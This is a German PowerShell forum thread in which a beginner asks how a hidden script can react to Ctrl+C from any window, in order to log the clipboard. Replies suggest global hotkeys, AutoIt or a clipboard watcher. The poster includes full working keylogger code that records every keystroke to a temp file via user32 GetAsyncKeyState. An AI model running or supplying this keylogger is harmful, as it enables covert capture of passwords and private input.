Commandrer 0 Geschrieben 27. Juli 2018 Melden Teilen Geschrieben 27. Juli 2018 Hallo liebe PS Community, schön, dass es ein solches Forum gibt. :) Ich hoffe, dass Ihr mir weiterhelfen könnt. Ich bednake mich jetzt schon für jeden Tip und jeden Vorschlag. Ich bin absoluter Neuling im Gebiet von Powershell. (nur als Vorwarnung) Trotzdem bin ich recht stolz darauf, dass mein Programm langsam gestallt annimmt. Der letze "Baustein" welchen ich noch benötige wäre eine Art "Keylogger mit nur einem zweck". Ich weiß nicht mal, ob das Wort Keylogger hier richtig ist (da dies auch oft mit Hacking oder Illegal in Verbindung gebracht wird). Was ich realisieren möchte (die abgespeckte Version für euch zum besseren Verständnis): - Ich habe eine Endlosschleife. - Diese lässt sich nur mittels Tastenkombiantion STRG + C beenden Soweit so gut... aber: - Für die Tastenkombination STRG + C muss das PS Fenster/Console aktiv sein. (was ja sinn macht, denn sonst bekommt PS den STRG+C Befehl ja gar nicht mit) Genau das möchte ich ändern. Ich möchte, dass egal welches Fenster aktiv ist oder egal ob mein PS-Script minimiert in der Leiste (oder sogar versteckt mit -hiddenwindow) auf das STRG + C reagiert. Gibt es dazu Möglichkeiten? Ich habe schon einige Stunden Google hinter mir. Es gibt zwar viel Material und Infos dazu. Jedoch nicht genau das, was ich brauche. Ich bin wie gesagt sehr dankbar für jeden Vorschlag. Vielen Dnak Gruß Commandrer Zitieren Link zu diesem Kommentar
mwiederkehr 373 Geschrieben 27. Juli 2018 Melden Teilen Geschrieben 27. Juli 2018 Das wird nicht einfach. Es gibt zur Registrierung eines globalen Hotkeys keine Funktion in PowerShell. Man könnte evtl. C#-Code einbinden: https://www.fluxbytes.com/csharp/how-to-register-a-global-hotkey-for-your-application-in-c/ Aber das wird dann schnell unübersichtlich. Oder man fängt (wie bei einem Keylogger) wirklich alle Tastaturanschläge mit und reagiert, wenn die gewünschte Kombination kommt: https://www.tarlogic.com/en/blog/how-to-create-keylogger-in-powershell/ Ich habe das Gefühl, dass dieses Vorgehen recht viel CPU verbrät im Hintergrund. Man könnte parallel ein AutoIt-Script laufen lassen. AutoIt unterstützt globale Hotkeys: https://www.autoitscript.com/site/autoit/ Dieses könnte bei Drücken der Tastenkombination dann entweder den PowerShell-Prozess killen oder eine Datei anlegen, deren Existenz das Script prüft und sich dann beendet. Vernünftiger wäre es wohl, das Tool gleich in C# zu schreiben. Zitieren Link zu diesem Kommentar
testperson 1.680 Geschrieben 27. Juli 2018 Melden Teilen Geschrieben 27. Juli 2018 Hi, evtl. gibt es ja noch andere Möglichkeiten. Warum denn zwingend eine Endlosschleife bzw. was tust du da "endlos"? Gruß Jan Zitieren Link zu diesem Kommentar
Commandrer 0 Geschrieben 27. Juli 2018 Autor Melden Teilen Geschrieben 27. Juli 2018 (bearbeitet) Hallo mwiederkehr, vielen dank für deine Vorschläge! :) Die beiden oberen Vorschläge hatte ich bereits vor meinem Post studiert. Jedoch ist das nicht das, was ich suche. Die Idee mit Autoit ist nicht schlecht! :)... Das werde ich mir mal genauer anschauen. Streng genommen habe ich mir bereits einen Keylogger organisieren können. Dieser zeichnet alle Tasten auf und nach "STRG+C" wird eine TextDatei erstellt mit allen geschriebenen Tasten. Das Problem: Damit der Keylogger endet, muss "STRG+C" im AKTIVEN Powershell Fenster gedrückt werden. An und für sich registriert Powershell also die Tasten (streng genommen ist es also möglich) jedoch verarbeitet Powershell das ganze erst mit STRG+C im Powershell Fenster. Ich füge hier mal den Code des Keylogger sein, welchen ich verwende, vieleicht hilft euch das: #requires -Version 2 function Start-KeyLogger($Path="$env:temp\keylogger.txt") { # Signatures for API Calls $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ # load signatures and make members available $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru # create output file $null = New-Item -Path $Path -ItemType File -Force try { Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red # create endless loop. When user presses CTRL+C, finally-block # executes and shows the collected key presses while ($true) { Start-Sleep -Milliseconds 40 # scan all ASCII codes above 8 for ($ascii = 9; $ascii -le 254; $ascii++) { # get current key state $state = $API::GetAsyncKeyState($ascii) # is key pressed? if ($state -eq -32767) { $null = [console]::CapsLock # translate scan code to real code $virtualKey = $API::MapVirtualKey($ascii, 3) # get keyboard state for virtual keys $kbstate = New-Object Byte[] 256 $checkkbstate = $API::GetKeyboardState($kbstate) # prepare a StringBuilder to receive input key $mychar = New-Object -TypeName System.Text.StringBuilder # translate virtual key $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) if ($success) { # add key to logger file [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } } finally { # open logger file in Notepad notepad $Path } } # records all key presses until script is aborted by pressing CTRL+C # will then open the file with collected key codes Start-KeyLogger ------ Hallo testperson (kaaaaaarl!!!) ich versuche allgemein mein programm zu beschreiben. Eventuell kriegst du dadurch eine neue Idee. Was das Programm tut: - Im Hintergrund (unsichtbar) wartet die Schleife quasi nur darauf, dass STRG+C gedrückt wird. - Dann bricht die Schleife ab und das Programm wird ausgeführt, welches die Zwischenablage (welche ja auch mit STRG+C ausgelöst wird) in eine Textdatei kopiert. - Nach dem Kopieren startet die: "Ich warte auf STRG+C-Schleife" erneut. Ich will quasi meine Zwischenablage protokollieren und in eine Datei schreiben. :) Und bevor er vorgeschlagen wird: https://ditto-cp.sourceforge.io/ Ist mir bekannt. Genau das Programm versuche ich quasi nachzubauen. :) Danke für eure Hilfe und ich hoffe meine Infos bringen euch weiter. :) Gruß Commandrer bearbeitet 27. Juli 2018 von Commandrer Zitieren Link zu diesem Kommentar
mwiederkehr 373 Geschrieben 27. Juli 2018 Melden Teilen Geschrieben 27. Juli 2018 Du kannst das Verhalten des Keyloggers ja ändern, damit er nicht erst auf Ctrl-C reagiert. Aber jetzt wo wir wissen, was Du eigentlich machen möchtest, ist es einfacher. Du kannst direkt bei Änderungen in der Zwischenablage benachrichtigt werden: https://mnaoumov.wordpress.com/2013/08/31/cpowershell-clipboard-watcher/ Das funktioniert dann auch, wenn ein Benutzer etwas über das Kontextmenü in die Zwischenablage kopiert. Zitieren Link zu diesem Kommentar
Empfohlene Beiträge
Schreibe einen Kommentar
Du kannst jetzt antworten und Dich später registrieren. Falls Du bereits ein Mitglied bist, logge Dich jetzt ein.